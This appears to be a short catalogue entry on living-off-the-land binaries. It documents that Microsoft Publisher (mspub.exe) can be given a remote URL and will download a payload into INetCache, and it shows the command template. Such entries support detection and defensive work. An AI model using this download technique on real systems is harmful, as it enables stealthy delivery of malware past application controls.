Microsoft Publisher
Downloads payload from remote server
mspub.exe {REMOTEURL}
It will download a remote payload and place it in INetCache.